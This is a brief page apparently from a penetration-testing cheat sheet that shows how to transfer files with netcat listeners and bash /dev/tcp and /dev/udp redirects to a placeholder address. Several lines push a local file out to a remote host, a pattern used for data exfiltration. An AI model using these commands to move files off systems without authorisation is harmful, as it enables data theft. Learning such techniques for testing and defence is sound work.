β­•TCP / UDP

/dev/tcp & /dev/udp

Below two virtual device map provided by Linux: /dev/tcp/$host/$port /dev/udp/$host/$port

TCP

Download File

nc -lvnp 80 > file # server
cat /path/file > /dev/tcp/10.10.10.10/80 # client

Upload Files

nc -w5 -lvnp 80 < file_to_send.txt # server

# client
exec 6< /dev/tcp/10.10.10.10/4444
cat <&6 > file.txt

UDP

Download File

nc -ulvnp 80 > file # server
cat /path/file > /dev/udp/10.10.10.10/80 # client

Upload Files

nc -w5 -ulvnp 80 < file_to_send.txt # server


# client
exec 6< /dev/udp/10.10.10.10/4444
cat <&6 > file.txt

Last updated